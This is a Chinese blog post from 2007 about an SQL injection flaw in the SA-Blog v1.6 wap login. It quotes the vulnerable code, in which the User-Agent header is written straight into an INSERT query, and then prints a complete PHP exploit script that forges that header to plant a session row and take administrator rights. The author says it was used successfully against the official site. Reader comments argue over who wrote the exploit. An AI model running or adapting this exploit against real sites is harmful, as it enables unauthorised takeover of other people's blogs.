注册 | 登录 | 归档 | 搜索 | 标签 | 评论 | 链接 | 滚动板 | 在线工具

SA-Blog v1.6 wap Exp

sablog是国内安全研究人员写的一款blog程序,但是代码中有一点瑕疵导致可能被获取管理员权限:)

问题出在wap/index.php里的652行左右

------------
      $hash = getuserhash($user['userid'], $user['username'], $user['password'], $user['logincount']+1);
      $DB->query("delete FROM {$db_prefix}sessions where uid='".$user['userid']."' or lastactivity+3600<'$timestamp' or hash='$hash'");
      $DB->query("insert INTO {$db_prefix}sessions (hash,uid,groupid,ipaddress,agent,lastactivity) VALUES ('$hash', '".$user['userid']."', '".$user['groupid']."', '$onlineip', '".$_SERVER['HTTP_USER_AGENT']."', '$timestamp')");
-------------

注意_SERVER变量是直接入库的,存在一个insert类型的注射,我们通过这个漏洞测试过了官方,顺利拿到了所有权限,呵呵.

这个地方要求是php5的,作者一时疏忽吧,贴出我们当时使用的exp

<?php
//from    loveshell.net
$url    =    $argv[1].'/wap/index.php';
$username    =    $argv[2];
$password    =    $argv[3];


echo
"    +----------------------------------------------------------------+";
echo
"        Uage:    php.exe    blogurl    username    password";
echo
"        example    php.exe    http://www.loveshell.net/blog    test    test";
echo
"    +----------------------------------------------------------------+";


if(!
$username||!$password)    die;

echo
"    root@localhost:Post    our    content";

$str    =    'username='.$username.'&password='.$password.'&action=login&do=login&';

$msg    =    myrequest($str,$url);
echo    
$msg;

if(
strpos($msg,'登陆成功')!==false)    echo"    root@localhost:All    Done!!!    ";
else    echo
"    root@localhost:Login    error!!!    ";
echo
"    +----------------------------------------------------------------+";
echo
"    Enjoy    yourself.";
echo
"    +----------------------------------------------------------------+";


function    
myrequest($msg,$url,$type=2,$cookie=''){
//change    type    for    post/get
    
global    $sql;
$urls    =    initurl($url);
$iprand    =    rand(1,255).'.'.rand(1,255).'.'.rand(1,255).'.'.rand(1,255);
$fp    =    @fsockopen($urls['host'],    $urls['port'],    $errno,    $errstr,    3);
    if(
$fp)    {
        if(
$type==1){
        
fputs($fp,    "GET    $urls[path]?$urls[query]    HTTP/1.1");
        
fputs($fp,    "Host:    $urls[host]");
        
fputs($fp,    "Accept:    */*");
        
fputs($fp,    "Referer:    $urls[url]");
        
fputs($fp,    "User-Agent:    Mozilla/4.0    (compatible;    MSIE    5.00;    Windows    98)");
        
fputs($fp,    "CLIENT_IP:    $iprand");
        
fputs($fp,    "X_FORWARDED-FOR:    $iprand");
        
fputs($fp,    "Pragma:    no-cache");
        
fputs($fp,    "Cache-Control:    no-cache");
        
fputs($fp,    "Connection:    Keep-Alive");
        
fputs($fp,    "Cookie:    $cookie");
        }else{
        
fputs($fp,    "POST    $urls[path]?$urls[query]    HTTP/1.1");
        
fputs($fp,    "Accept:    application/x-shockwave-flash,    image/gif,    image/x-xbitmap,    image/jpeg,    image/pjpeg,    */*");
        
fputs($fp,    "Referer:    $urls[url]");
        
fputs($fp,    "Accept-Language:    zh-cn");
        
fputs($fp,    "Content-Type:    application/x-www-form-urlencoded");
//        fputs($fp,    "User-Agent:    ',1),((select    concat(0x2f,groupid,0x2f,logincount)    from    angel_users    limit    1),1,1,'211.43.206.208','123");
        
fputs($fp,    "User-Agent:    ',1),('9c5b71e5',1,1,'211.43.206.202','9989581653");
        
fputs($fp,    "CLIENT_IP:    $iprand");
        
fputs($fp,    "X_FORWARDED-FOR:    $iprand");
        
fputs($fp,    "Host:    $urls[host]");
        
fputs($fp,    "Content-Length:    ".strlen($msg)."");
        
fputs($fp,    "Connection:    Keep-Alive");
        
fputs($fp,    "Cache-Control:    no-cache");
        
fputs($fp,    "Cookie:    $cookie");
        
fputs($fp,    $msg."");
        }
    }


while(
$fp&&!feof($fp))    {
$resp    .=    fread($fp,1024);
}
return    
$resp;
}


function    
initurl($url)    {

$newurl    =    '';
$blanks    =    array('url'=>'');
$urls    =    $blanks;


if(
strlen($url)<10)    return    $blanks;
$urls    =    @parse_url($url);
if(empty(
$urls)    ||    !is_array($urls))    return    $blanks;
if(empty(
$urls['scheme']))    return    $blanks;
if(
$urls['scheme']    ==    'file')    return    $blanks;

$newurl    .=    $urls['scheme'].'://';
$newurl    .=    empty($urls['user'])?'':$urls['user'];
$newurl    .=    empty($urls['pass'])?'':':'.$urls['pass'];
$newurl    .=    empty($urls['host'])?'':((!empty($urls['user'])    ||    !empty($urls['pass']))?'@':'').$urls['host'];
$newurl    .=    empty($urls['port'])?'':':'.$urls['port'];
$newurl    .=    empty($urls['path'])?'':$urls['path'];
$newurl    .=    empty($urls['query'])?'':'?'.$urls['query'];
$newurl    .=    empty($urls['fragment'])?'':'#'.$urls['fragment'];

$urls['port']    =    empty($urls['port'])?'80':$urls['port'];
$urls['url']    =    $newurl;


return    
$urls;
}
?>


这次还是比较有意思的,起码有以前没有出现过的知识点在3个以上,另外sablog的加密认证方式很薄弱,加上这个注射可以进后台的,作者需要改下哦.怕出问题的用户把wap禁用吧,exp的含义我就不分析了,仔细分析的话会有很有意思的东西哦.....

Address: http://www.amxku.net/sablog-wap-exp/

Tags: sablog, 0day, exp, 脚本渗透, 漏洞

上一篇»» 广告无所不在
下一篇»» 没有了.....

相关文章

网友评论

官方已经出补丁了
Post by amxku on 2007-09-15, 11:16 PM Quote #1
呵呵,不错,

背地里骂BCT的人,

现在转了人家的EXP,还不留版权,

不知谁是装B的...
Post by 路过 on 2007-09-16, 10:30 AM Quote #2
呵呵,楼上的是BCT的吧,何必呢,
Post by murrain on 2007-09-16, 11:42 PM Quote #3
BCT 的就是好人?呼
Post by 也是路过 on 2007-09-17, 2:09 PM Quote #4
呵呵,不错,

背地里骂BCT的人,

现在转了人家的EXP,还不留版权,

不知谁是装B的...
Post by 漂过 on 2007-09-17, 5:20 PM Quote #5
转载人家的EXP  还去除了版权
无耻
Post by 无耻 on 2007-10-09, 11:40 AM Quote #6
众所周知,是loveshell剑心的
那啥,六楼的就不必JJYY了!
Post by robert on 2007-10-10, 10:28 AM Quote #7

发表评论

评论内容: